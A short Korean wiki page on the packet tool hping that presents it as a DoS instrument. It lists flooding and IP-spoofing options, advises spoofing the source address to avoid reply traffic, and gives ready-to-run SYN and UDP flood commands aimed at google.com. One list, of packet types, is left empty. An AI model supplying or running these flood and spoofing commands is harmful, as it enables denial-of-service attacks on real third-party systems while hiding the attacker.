Hping
From CS Wiki
- hping은 패킷을 만들어 보낼 수 있는 툴이다. 상상할 수 있는 어떤 종류의 패킷이라도 사용할 수 있다. DoS 공격에 활용되기도 한다.
사용법[edit | edit source]
Hping을 다운로드 받은 뒤 다음과 같이 사용한다:
- hping[2 or 3] [TARGET] -p [PORT] -i u30000 [PACKET TYPE] [OTHER OPTIONS]
[TARGET]은 IP나 도메인이 될 수 있으며 포트는 알아서 정한다. [PACKET TYPE]는:
OTHER OPTIONS는 다음과 같다:
- UDP 패킷을 보내기 위한 -udp
- 결과를 출력하지 않기 위한 -q -아주아주아주 조금 빨라짐
- -c [숫자]. 숫자만큼의 패킷을 보낸다.
- -flood 그냥 막 보낸다.
- -i u30000 30ms에 한 번 씩 패킷을 보낸다. 30000은 예일 뿐.
- -a [IP] 당신의 IP를 속인다. 응답 패킷을 산더미처럼 받기 싫으면 쓰는 것이 좋다.
- --rand-source 아무렇게나 랜덤한 IP로 속여 패킷을 보낸다.
예제[edit | edit source]
구글로 SYN Flooding을 한다:
- hping2 google.com -p 80 -i u30000 -S
구글로 UDP Flooding을 한다:
- hping3 google.com -p 80 -i u30000 --udp